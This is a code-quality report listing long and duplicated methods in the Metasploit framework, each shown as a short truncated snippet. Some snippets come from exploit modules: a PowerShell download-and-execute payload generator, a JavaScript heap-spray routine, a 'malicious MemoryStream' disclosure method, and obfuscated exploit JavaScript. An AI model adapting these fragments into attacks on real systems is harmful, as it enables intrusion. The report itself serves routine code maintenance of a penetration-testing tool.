rapid7/metasploit-framework

Method load_library has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def load_library(opts)
    library_path = opts['LibraryFilePath']
    library_image = opts['LibraryFileImage']
    target_path  = opts['TargetFilePath']
    load_flags   = LOAD_LIBRARY_FLAG_LOCAL

Method cmd_dns_tabs has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def cmd_dns_tabs(str, words)
    return if driver.framework.dns_resolver.nil?

    subcommands = %w[ add add-static delete flush-cache flush-entries flush-static help print query remove remove-static reset-config resolve ]
    if words.length == 1

Method resolve_dns has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def resolve_dns(*args)
    names = []
    query_type = Dnsruby::Types::A

    @@resolve_opts.parse(args) do |opt, idx, val|

Method exploit has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def exploit
    # Is the selected target a brute force target?
    if (target.bruteforce?)
      # The step direction is automatically calculated
      direction = {}

Method report_web_site has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def report_web_site(opts)
    return if not active
  ::ApplicationRecord.connection_pool.with_connection { |conn|
    opts = opts.clone() # protect the original caller's opts
    wspace = Msf::Util::DBManager.process_opts_workspace(opts, framework)

Method MemoryDiscl has 59 lines of code (exceeds 25 allowed). Consider refactoring.

Open

        ulong MemoryDiscl()
        {
            try
            {
                // prepare malicious MemoryStream

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

• Read up
  Read up

Identical blocks of code found in 3 locations. Consider refactoring.

Open

  def gen_psh(url, *method)
    ignore_cert = Rex::Powershell::PshMethods.ignore_ssl_certificate if ssl

    if method.include? 'string'
      download_string = datastore['PSH-Proxy'] ? (Rex::Powershell::PshMethods.proxy_aware_download_and_exec_string(url)) : (Rex::Powershell::PshMethods.download_and_exec_string(url))

• Read up
  Read up

Identical blocks of code found in 2 locations. Consider refactoring.

Open

  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(

• Read up
  Read up

Identical blocks of code found in 2 locations. Consider refactoring.

Open

  def do_login(user=nil,pass=nil,database=nil)
    begin
      password = pass || postgres_password
      vprint_status("Trying #{user}:#{password}@#{rhost}:#{rport}/#{database}") unless self.postgres_conn
      result = postgres_fingerprint(

• Read up
  Read up

Similar blocks of code found in 2 locations. Consider refactoring.

Open

        case val.tag
        when 0  # flags               [0] TicketFlags
          self.flags = decode_flags(val)
        when 1  # key                 [1] EncryptionKey
          self.key = decode_key(val)

• Read up
  Read up

Similar blocks of code found in 2 locations. Consider refactoring.

Open

              case val.tag
              when 0
                self.key = decode_key(val)
              when 1
                self.prealm = decode_prealm(val)

• Read up
  Read up

Function sprayArrays has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

var sprayArrays=function() {
  var mArray = new Array(0x1fffe)  
  var arrBuf = new ArrayBuffer(0x100000);
  var dwArray =  new Uint32Array(arrBuf)
  var qwArray = new Float64Array(arrBuf, 0x10)

Method cmd_nessus_db_scan_workspace has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

      def cmd_nessus_db_scan_workspace(*args)
        if args[0] == '-h'
          print_status('nessus_db_scan_workspace <policy ID> <scan name> <scan description> <workspace>')
          print_status('Creates a scan based on all the hosts listed in db_hosts for a given workspace.')
          print_status('Use nessus_policy_list to list all available policies with their corresponding policy IDs')

Method cmd_nessus_db_import has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

      def cmd_nessus_db_import(*args)
        if args[0] == '-h'
          print_status('nessus_db_import <scan ID>')
          print_status('Example:> nessus_db_import 500')
          print_status('Use nessus_scan_list -c to list all completed scans')

Method process_openssl_cleartext_request has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def process_openssl_cleartext_request(c, data)
    message_type, message_version, protocol_version = data.unpack("Cn@9n")

    if message_type == 0x15 and data.length >= 7
      message_level, message_reason = data[5,2].unpack("CC")

Method prepare_packet has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def prepare_packet(bmc)
    #
    # ConfigurationService packet structure:
    #
    # packet_header_pre_packet_size

Method exploit_js has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def exploit_js
    js_obfuscate %Q|
      window.onmessage = function(e) {
        var x = new XMLHttpRequest;
        x.open("POST", location.href);

Method check has 58 lines of code (exceeds 25 allowed). Consider refactoring.

Open

  def check
    targ = rhost

    srv_sock = Rex::Socket.create_udp(
      'PeerHost' => targ,